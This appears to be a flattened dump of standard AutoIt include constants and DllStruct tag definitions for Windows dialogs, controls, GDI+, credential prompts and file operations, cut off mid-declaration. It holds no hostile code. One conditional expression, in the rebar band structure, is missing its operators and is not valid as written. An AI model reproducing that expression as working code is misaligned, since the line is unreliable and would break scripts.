$CDERR_REGISTERMSGFAIL = 12 GLOBAL CONST $CDERR_STRUCTSIZE = 1 GLOBAL CONST $PDERR_CREATEICFAILURE = 4106 GLOBAL CONST $PDERR_DEFAULTDIFFERENT = 4108 GLOBAL CONST $PDERR_DNDMMISMATCH = 4105 GLOBAL CONST $PDERR_GETDEVMODEFAIL = 4101 GLOBAL CONST $PDERR_INITFAILURE = 4102 GLOBAL CONST $PDERR_LOADDRVFAILURE = 4100 GLOBAL CONST $PDERR_NODEFAULTPRN = 4104 GLOBAL CONST $PDERR_NODEVICES = 4103 GLOBAL CONST $PDERR_PARSEFAILURE = 4098 GLOBAL CONST $PDERR_PRINTERNOTFOUND = 4107 GLOBAL CONST $PDERR_RETDEFFAILURE = 4099 GLOBAL CONST $PDERR_SETUPFAILURE = 4097 GLOBAL CONST $CFERR_MAXLESSTHANMIN = 8194 GLOBAL CONST $CFERR_NOFONTS = 8193 GLOBAL CONST $FNERR_BUFFERTOOSMALL = 12291 GLOBAL CONST $FNERR_INVALIDFILENAME = 12290 GLOBAL CONST $FNERR_SUBCLASSFAILURE = 12289 GLOBAL CONST $FRERR_BUFFERLENGTHZERO = 16385 GLOBAL CONST $FR_DIALOGTERM = 64 GLOBAL CONST $FR_DOWN = 1 GLOBAL CONST $FR_ENABLEHOOK = 256 GLOBAL CONST $FR_ENABLETEMPLATE = 512 GLOBAL CONST $FR_ENABLETEMPLATEHANDLE = 8192 GLOBAL CONST $FR_FINDNEXT = 8 GLOBAL CONST $FR_HIDEUPDOWN = 16384 GLOBAL CONST $FR_HIDEMATCHCASE = 32768 GLOBAL CONST $FR_HIDEWHOLEWORD = 65536 GLOBAL CONST $FR_MATCHCASE = 4 GLOBAL CONST $FR_NOMATCHCASE = 2048 GLOBAL CONST $FR_NOUPDOWN = 1024 GLOBAL CONST $FR_NOWHOLEWORD = 4096 GLOBAL CONST $FR_REPLACE = 16 GLOBAL CONST $FR_REPLACEALL = 32 GLOBAL CONST $FR_SHOWHELP = 128 GLOBAL CONST $FR_WHOLEWORD = 2 GLOBAL CONST $SHFMT_ID_DEFAULT = 65535 GLOBAL CONST $SHFMT_OPT_FULL = 0 GLOBAL CONST $SHFMT_OPT_QUICKFORMAT = 1 GLOBAL CONST $SHFMT_OPT_SYSONLY = 2 GLOBAL CONST $SHFMT_ERROR = + 4294967295 GLOBAL CONST $SHFMT_CANCEL = + 4294967294 GLOBAL CONST $SHFMT_NOFORMAT = + 4294967293 GLOBAL CONST $CDM_FIRST = $__DLG_WM_USER + 100 GLOBAL CONST $CDM_GETSPEC = $CDM_FIRST GLOBAL CONST $CDM_GETFILEPATH = $CDM_FIRST + 1 GLOBAL CONST $CDM_GETFOLDERPATH = $CDM_FIRST + 2 GLOBAL CONST $CDM_GETFOLDERIDLIST = $CDM_FIRST + 3 GLOBAL CONST $CDM_SETCONTROLTEXT = $CDM_FIRST + 4 GLOBAL CONST $CDM_HIDECONTROL = $CDM_FIRST + 5 GLOBAL CONST $CDM_SETDEFEXT = $CDM_FIRST + 6 GLOBAL CONST $CDM_LAST = $__DLG_WM_USER + 200 GLOBAL CONST $CDN_FIRST = + 4294966695 GLOBAL CONST $CDN_INITDONE = $CDN_FIRST GLOBAL CONST $CDN_SELCHANGE = $CDN_FIRST + 4294967295 GLOBAL CONST $CDN_FOLDERCHANGE = $CDN_FIRST + 4294967294 GLOBAL CONST $CDN_SHAREVIOLATION = $CDN_FIRST + 4294967293 GLOBAL CONST $CDN_HELP = $CDN_FIRST + 4294967292 GLOBAL CONST $CDN_FILEOK = $CDN_FIRST + 4294967291 GLOBAL CONST $CDN_TYPECHANGE = $CDN_FIRST + 4294967290 GLOBAL CONST $CDN_INCLUDEITEM = $CDN_FIRST + 4294967289 GLOBAL CONST $CDN_LAST = + 4294966597 GLOBAL CONST $PSD_DEFAULTMINMARGINS = 0 GLOBAL CONST $PSD_DISABLEMARGINS = 16 GLOBAL CONST $PSD_DISABLEORIENTATION = 256 GLOBAL CONST $PSD_DISABLEPAGEPAINTING = 524288 GLOBAL CONST $PSD_DISABLEPAPER = 512 GLOBAL CONST $PSD_DISABLEPRINTER = 32 GLOBAL CONST $PSD_ENABLEPAGEPAINTHOOK = 262144 GLOBAL CONST $PSD_ENABLEPAGESETUPHOOK = 8192 GLOBAL CONST $PSD_ENABLEPAGESETUPTEMPLATE = 32768 GLOBAL CONST $PSD_ENABLEPAGESETUPTEMPLATEHANDLE = 131072 GLOBAL CONST $PSD_INHUNDREDTHSOFMILLIMETERS = 8 GLOBAL CONST $PSD_INTHOUSANDTHSOFINCHES = 4 GLOBAL CONST $PSD_MARGINS = 2 GLOBAL CONST $PSD_MINMARGINS = 1 GLOBAL CONST $PSD_NONETWORKBUTTON = 2097152 GLOBAL CONST $PSD_NOWARNING = 128 GLOBAL CONST $PSD_RETURNDEFAULT = 1024 GLOBAL CONST $PSD_SHOWHELP = 2048 GLOBAL CONST $WM_PSD_PAGESETUPDLG = $__DLG_WM_USER GLOBAL CONST $WM_PSD_FULLPAGERECT = $__DLG_WM_USER + 1 GLOBAL CONST $WM_PSD_MINMARGINRECT = $__DLG_WM_USER + 2 GLOBAL CONST $WM_PSD_MARGINRECT = $__DLG_WM_USER + 3 GLOBAL CONST $WM_PSD_GREEKTEXTRECT = $__DLG_WM_USER + 4 GLOBAL CONST $WM_PSD_ENVSTAMPRECT = $__DLG_WM_USER + 5 GLOBAL CONST $WM_PSD_YAFULLPAGERECT = $__DLG_WM_USER + 6 GLOBAL CONST $PD_ALLPAGES = 0 GLOBAL CONST $PD_COLLATE = 16 GLOBAL CONST $PD_CURRENTPAGE = 4194304 GLOBAL CONST $PD_DISABLEPRINTTOFILE = 524288 GLOBAL CONST $PD_ENABLEPRINTHOOK = 4096 GLOBAL CONST $PD_ENABLEPRINTTEMPLATE = 16384 GLOBAL CONST $PD_ENABLEPRINTTEMPLATEHANDLE = 65536 GLOBAL CONST $PD_ENABLESETUPHOOK = 8192 GLOBAL CONST $PD_ENABLESETUPTEMPLATE = 32768 GLOBAL CONST $PD_ENABLESETUPTEMPLATEHANDLE = 131072 GLOBAL CONST $PD_EXCLUSIONFLAGS = 16777216 GLOBAL CONST $PD_HIDEPRINTTOFILE = 1048576 GLOBAL CONST $PD_NOCURRENTPAGE = 8388608 GLOBAL CONST $PD_NONETWORKBUTTON = 2097152 GLOBAL CONST $PD_NOPAGENUMS = 8 GLOBAL CONST $PD_NOSELECTION = 4 GLOBAL CONST $PD_NOWARNING = 128 GLOBAL CONST $PD_PAGENUMS = 2 GLOBAL CONST $PD_PRINTSETUP = 64 GLOBAL CONST $PD_PRINTTOFILE = 32 GLOBAL CONST $PD_RETURNDC = 256 GLOBAL CONST $PD_RETURNDEFAULT = 1024 GLOBAL CONST $PD_RETURNIC = 512 GLOBAL CONST $PD_SELECTION = 1 GLOBAL CONST $PD_SHOWHELP = 2048 GLOBAL CONST $PD_USEDEVMODECOPIES = 262144 GLOBAL CONST $PD_USEDEVMODECOPIESANDCOLLATE = $PD_USEDEVMODECOPIES GLOBAL CONST $PD_USELARGETEMPLATE = 268435456 GLOBAL CONST $PD_RESULT_APPLY = 2 GLOBAL CONST $PD_RESULT_CANCEL = 0 GLOBAL CONST $PD_RESULT_PRINT = 1 GLOBAL CONST $EWX_LOGOFF = 0 GLOBAL CONST $EWX_POWEROFF = 8 GLOBAL CONST $EWX_REBOOT = 2 GLOBAL CONST $EWX_SHUTDOWN = 1 GLOBAL CONST $EWX_FORCE = 4 GLOBAL CONST $EWX_FORCEIFHUNG = 16 GLOBAL CONST $OAIF_ALLOW_REGISTRATION = 1 GLOBAL CONST $OAIF_REGISTER_EXT = 2 GLOBAL CONST $OAIF_EXEC = 4 GLOBAL CONST $OAIF_FORCE_REGISTRATION = 8 GLOBAL CONST $OAIF_HIDE_REGISTRATION = 32 GLOBAL CONST $OAIF_URL_PROTOCOL = 64 GLOBAL CONST $CREDUI_FLAGS_ALWAYS_SHOW_UI = 128 GLOBAL CONST $CREDUI_FLAGS_COMPLETE_USERNAME = 2048 GLOBAL CONST $CREDUI_FLAGS_DO_NOT_PERSIST = 2 GLOBAL CONST $CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 8 GLOBAL CONST $CREDUI_FLAGS_EXPECT_CONFIRMATION = 131072 GLOBAL CONST $CREDUI_FLAGS_GENERIC_CREDENTIALS = 262144 GLOBAL CONST $CREDUI_FLAGS_INCORRECT_PASSWORD = 1 GLOBAL CONST $CREDUI_FLAGS_KEEP_USERNAME = 1048576 GLOBAL CONST $CREDUI_FLAGS_PASSWORD_ONLY_OK = 512 GLOBAL CONST $CREDUI_FLAGS_PERSIST = 4096 GLOBAL CONST $CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 4 GLOBAL CONST $CREDUI_FLAGS_REQUIRE_CERTIFICATE = 16 GLOBAL CONST $CREDUI_FLAGS_REQUIRE_SMARTCARD = 256 GLOBAL CONST $CREDUI_FLAGS_SERVER_CREDENTIAL = 16384 GLOBAL CONST $CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 64 GLOBAL CONST $CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 524288 GLOBAL CONST $CREDUI_FLAGS_VALIDATE_USERNAME = 1024 GLOBAL CONST $CREDUIWIN_AUTHPACKAGE_ONLY = 16 GLOBAL CONST $CREDUIWIN_CHECKBOX = 2 GLOBAL CONST $CREDUIWIN_ENUMERATE_ADMINS = 256 GLOBAL CONST $CREDUIWIN_ENUMERATE_CURRENT_USER = 512 GLOBAL CONST $CREDUIWIN_GENERIC = 1 GLOBAL CONST $CREDUIWIN_IN_CRED_ONLY = 32 GLOBAL CONST $CREDUIWIN_SECURE_PROMPT = 4096 GLOBAL CONST $CREDUIWIN_PACK_32_WOW = 268435456 GLOBAL CONST $CREDUIWIN_PREPROMPTING = 8192 GLOBAL CONST $STR_NOCASESENSE = 0 GLOBAL CONST $STR_CASESENSE = 1 GLOBAL CONST $STR_NOCASESENSEBASIC = 2 GLOBAL CONST $STR_STRIPLEADING = 1 GLOBAL CONST $STR_STRIPTRAILING = 2 GLOBAL CONST $STR_STRIPSPACES = 4 GLOBAL CONST $STR_STRIPALL = 8 GLOBAL CONST $STR_CHRSPLIT = 0 GLOBAL CONST $STR_ENTIRESPLIT = 1 GLOBAL CONST $STR_NOCOUNT = 2 GLOBAL CONST $STR_REGEXPMATCH = 0 GLOBAL CONST $STR_REGEXPARRAYMATCH = 1 GLOBAL CONST $STR_REGEXPARRAYFULLMATCH = 2 GLOBAL CONST $STR_REGEXPARRAYGLOBALMATCH = 3 GLOBAL CONST $STR_REGEXPARRAYGLOBALFULLMATCH = 4 GLOBAL CONST $STR_ENDISSTART = 0 GLOBAL CONST $STR_ENDNOTSTART = 1 GLOBAL CONST $SB_ANSI = 1 GLOBAL CONST $SB_UTF16LE = 2 GLOBAL CONST $SB_UTF16BE = 3 GLOBAL CONST $SB_UTF8 = 4 GLOBAL CONST $SE_UTF16 = 0 GLOBAL CONST $SE_ANSI = 1 GLOBAL CONST $SE_UTF8 = 2 GLOBAL CONST $STR_UTF16 = 0 GLOBAL CONST $STR_UCS2 = 1 GLOBAL CONST $TAGPOINT = "struct;long X;long Y;endstruct" GLOBAL CONST $TAGRECT = "struct;long Left;long Top;long Right;long Bottom;endstruct" GLOBAL CONST $TAGSIZE = "struct;long X;long Y;endstruct" GLOBAL CONST $TAGMARGINS = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight" GLOBAL CONST $TAGFILETIME = "struct;dword Lo;dword Hi;endstruct" GLOBAL CONST $TAGSYSTEMTIME = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct" GLOBAL CONST $TAGTIME_ZONE_INFORMATION = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct" GLOBAL CONST $TAGNMHDR = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct" GLOBAL CONST $TAGCOMBOBOXEXITEM = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param" GLOBAL CONST $TAGNMCBEDRAGBEGIN = $TAGNMHDR & ";int ItemID;wchar szText[260]" GLOBAL CONST $TAGNMCBEENDEDIT = $TAGNMHDR & ";bool fChanged;int NewSelection;wchar szText[260];int Why" GLOBAL CONST $TAGNMCOMBOBOXEX = $TAGNMHDR & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param" GLOBAL CONST $TAGDTPRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid" GLOBAL CONST $TAGNMDATETIMECHANGE = $TAGNMHDR & ";dword Flag;" & $TAGSYSTEMTIME GLOBAL CONST $TAGNMDATETIMEFORMAT = $TAGNMHDR & ";ptr Format;" & $TAGSYSTEMTIME & ";ptr pDisplay;wchar Display[64]" GLOBAL CONST $TAGNMDATETIMEFORMATQUERY = $TAGNMHDR & ";ptr Format;struct;long SizeX;long SizeY;endstruct" GLOBAL CONST $TAGNMDATETIMEKEYDOWN = $TAGNMHDR & ";int VirtKey;ptr Format;" & $TAGSYSTEMTIME GLOBAL CONST $TAGNMDATETIMESTRING = $TAGNMHDR & ";ptr UserString;" & $TAGSYSTEMTIME & ";dword Flags" GLOBAL CONST $TAGEVENTLOGRECORD = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_BLUR = "float Radius; bool ExpandEdge" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_BRIGHTNESSCONTRAST = "int BrightnessLevel; int ContrastLevel" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_COLORBALANCE = "int CyanRed; int MagentaGreen; int YellowBlue" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_COLORCURVE = "int Adjustment; int Channel; int AdjustValue" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_COLORLUT = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_HUESATURATIONLIGHTNESS = "int HueLevel; int SaturationLevel; int LightnessLevel" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_LEVELS = "int Highlight; int Midtone; int Shadow" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_REDEYECORRECTION = "uint NumberOfAreas; ptr Areas" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_SHARPEN = "float Radius; float Amount" GLOBAL CONST $TAGGDIP_EFFECTPARAMS_TINT = "int Hue; int Amount" GLOBAL CONST $TAGGDIPBITMAPDATA = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved" GLOBAL CONST $TAGGDIPCOLORMATRIX = "float m[25]" GLOBAL CONST $TAGGDIPENCODERPARAM = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct" GLOBAL CONST $TAGGDIPENCODERPARAMS = "uint Count;" & $TAGGDIPENCODERPARAM GLOBAL CONST $TAGGDIPRECTF = "struct;float X;float Y;float Width;float Height;endstruct" GLOBAL CONST $TAGGDIPSTARTUPINPUT = "uint Version;ptr Callback;bool NoThread;bool NoCodecs" GLOBAL CONST $TAGGDIPSTARTUPOUTPUT = "ptr HookProc;ptr UnhookProc" GLOBAL CONST $TAGGDIPIMAGECODECINFO = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask" GLOBAL CONST $TAGGDIPPENCODERPARAMS = "uint Count;byte Params[1]" GLOBAL CONST $TAGHDITEM = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State" GLOBAL CONST $TAGNMHDDISPINFO = $TAGNMHDR & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam" GLOBAL CONST $TAGNMHDFILTERBTNCLICK = $TAGNMHDR & ";int Item;" & $TAGRECT GLOBAL CONST $TAGNMHEADER = $TAGNMHDR & ";int Item;int Button;ptr pItem" GLOBAL CONST $TAGGETIPADDRESS = "byte Field4;byte Field3;byte Field2;byte Field1" GLOBAL CONST $TAGNMIPADDRESS = $TAGNMHDR & ";int Field;int Value" GLOBAL CONST $TAGLVFINDINFO = "struct;uint Flags;ptr Text;lparam Param;" & $TAGPOINT & ";uint Direction;endstruct" GLOBAL CONST $TAGLVHITTESTINFO = $TAGPOINT & ";uint Flags;int Item;int SubItem;int iGroup" GLOBAL CONST $TAGLVITEM = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct" GLOBAL CONST $TAGNMLISTVIEW = $TAGNMHDR & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param" GLOBAL CONST $TAGNMLVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword dwDrawStage;handle hdc;" & $TAGRECT & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartID;int iStateID;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign" GLOBAL CONST $TAGNMLVDISPINFO = $TAGNMHDR & ";" & $TAGLVITEM GLOBAL CONST $TAGNMLVFINDITEM = $TAGNMHDR & ";int Start;" & $TAGLVFINDINFO GLOBAL CONST $TAGNMLVGETINFOTIP = $TAGNMHDR & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam" GLOBAL CONST $TAGNMITEMACTIVATE = $TAGNMHDR & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $TAGPOINT & ";lparam lParam;uint KeyFlags" GLOBAL CONST $TAGNMLVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags" GLOBAL CONST $TAGNMLVSCROLL = $TAGNMHDR & ";int DX;int DY" GLOBAL CONST $TAGMCHITTESTINFO = "uint Size;" & $TAGPOINT & ";uint Hit;" & $TAGSYSTEMTIME & ";" & $TAGRECT & ";int iOffset;int iRow;int iCol" GLOBAL CONST $TAGMCMONTHRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span" GLOBAL CONST $TAGMCRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet" GLOBAL CONST $TAGMCSELRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds" GLOBAL CONST $TAGNMDAYSTATE = $TAGNMHDR & ";" & $TAGSYSTEMTIME & ";int DayState;ptr pDayState" GLOBAL CONST $TAGNMSELCHANGE = $TAGNMHDR & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct" GLOBAL CONST $TAGNMOBJECTNOTIFY = $TAGNMHDR & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags" GLOBAL CONST $TAGNMTCKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags" GLOBAL CONST $TAGTVITEM = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct" GLOBAL CONST $TAGTVITEMEX = "struct;" & $TAGTVITEM & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct" GLOBAL CONST $TAGNMTREEVIEW = $TAGNMHDR & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct" GLOBAL CONST $TAGNMTVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword DrawStage;handle HDC;" & $TAGRECT & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level" GLOBAL CONST $TAGNMTVDISPINFO = $TAGNMHDR & ";" & $TAGTVITEM GLOBAL CONST $TAGNMTVGETINFOTIP = $TAGNMHDR & ";ptr Text;int TextMax;handle hItem;lparam lParam" GLOBAL CONST $TAGNMTVITEMCHANGE = $TAGNMHDR & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;" GLOBAL CONST $TAGTVHITTESTINFO = $TAGPOINT & ";uint Flags;handle Item" GLOBAL CONST $TAGNMTVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags" GLOBAL CONST $TAGNMMOUSE = $TAGNMHDR & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $TAGPOINT & ";lparam HitInfo" GLOBAL CONST $TAGTOKEN_PRIVILEGES = "dword Count;align 4;int64 LUID;dword Attributes" GLOBAL CONST $TAGIMAGEINFO = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $TAGRECT GLOBAL CONST $TAGMENUINFO = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData" GLOBAL CONST $TAGMENUITEMINFO = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem" GLOBAL CONST $TAGREBARBANDINFO = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVERSION = "WIN_XP" ) "" ";" & $TAGRECT & ";uint uChevronState" ) GLOBAL CONST $TAGNMREBARAUTOBREAK = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak" GLOBAL CONST $TAGNMRBAUTOSIZE = $TAGNMHDR & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct" GLOBAL CONST $TAGNMREBAR = $TAGNMHDR & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam" GLOBAL CONST $TAGNMREBARCHEVRON = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;" & $TAGRECT & ";lparam lParamNM" GLOBAL CONST $TAGNMREBARCHILDSIZE = $TAGNMHDR & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct" GLOBAL CONST $TAGCOLORSCHEME = "dword Size;dword BtnHighlight;dword BtnShadow" GLOBAL CONST $TAGNMTOOLBAR = $TAGNMHDR & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $TAGRECT GLOBAL CONST $TAGNMTBHOTITEM = $TAGNMHDR & ";int idOld;int idNew;dword dwFlags" GLOBAL CONST $TAGTBBUTTON = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String" GLOBAL CONST $TAGTBBUTTONINFO = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax" GLOBAL CONST $TAGNETRESOURCE = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider" GLOBAL CONST $TAGOVERLAPPED = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent" GLOBAL CONST $TAGOPENFILENAME = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx" GLOBAL CONST $TAGBITMAPINFOHEADER = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct" GLOBAL CONST $TAGBITMAPINFO = $TAGBITMAPINFOHEADER & ";dword biRGBQuad[1]" GLOBAL CONST $TAGBLENDFUNCTION = "byte Op;byte Flags;byte Alpha;byte Format" GLOBAL CONST $TAGGUID = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct" GLOBAL CONST $TAGWINDOWPLACEMENT = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]" GLOBAL CONST $TAGWINDOWPOS = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags" GLOBAL CONST $TAGSCROLLINFO = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos" GLOBAL CONST $TAGSCROLLBARINFO = "dword cbSize;" & $TAGRECT & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]" GLOBAL CONST $TAGLOGFONT = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct" GLOBAL CONST $TAGKBDLLHOOKSTRUCT = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo" GLOBAL CONST $TAGPROCESS_INFORMATION = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID" GLOBAL CONST $TAGSTARTUPINFO = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError" GLOBAL CONST $TAGSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle" GLOBAL CONST $TAGWIN32_FIND_DATA = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]" GLOBAL CONST $TAGTEXTMETRIC = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet" GLOBAL CONST $COINIT_APARTMENTTHREADED = 2 GLOBAL CONST $COINIT_DISABLE_OLE1DDE = 4 GLOBAL CONST $COINIT_MULTITHREADED = 0 GLOBAL CONST $COINIT_SPEED_OVER_MEMORY = 8 GLOBAL CONST $FC_NOOVERWRITE = 0 GLOBAL CONST $FC_OVERWRITE = 1 GLOBAL CONST $FC_CREATEPATH = 8 GLOBAL CONST $FT_MODIFIED = 0 GLOBAL CONST $FT_CREATED = 1 GLOBAL CONST $FT_ACCESSED = 2 GLOBAL CONST $FT_ARRAY = 0 GLOBAL CONST $FT_STRING = 1 GLOBAL CONST $FSF_CREATEBUTTON = 1 GLOBAL CONST $FSF_NEWDIALOG = 2 GLOBAL CONST $FSF_EDITCONTROL = 4 GLOBAL CONST $FT_NONRECURSIVE = 0 GLOBAL CONST $FT_RECURSIVE = 1 GLOBAL CONST $FO_READ = 0 GLOBAL CONST $FO_APPEND = 1 GLOBAL CONST $FO_OVERWRITE = 2 GLOBAL CONST $FO_CREATEPATH = 8 GLOBAL CONST $FO_BINARY = 16 GLOBAL CONST $FO_UNICODE = 32 GLOBAL CONST 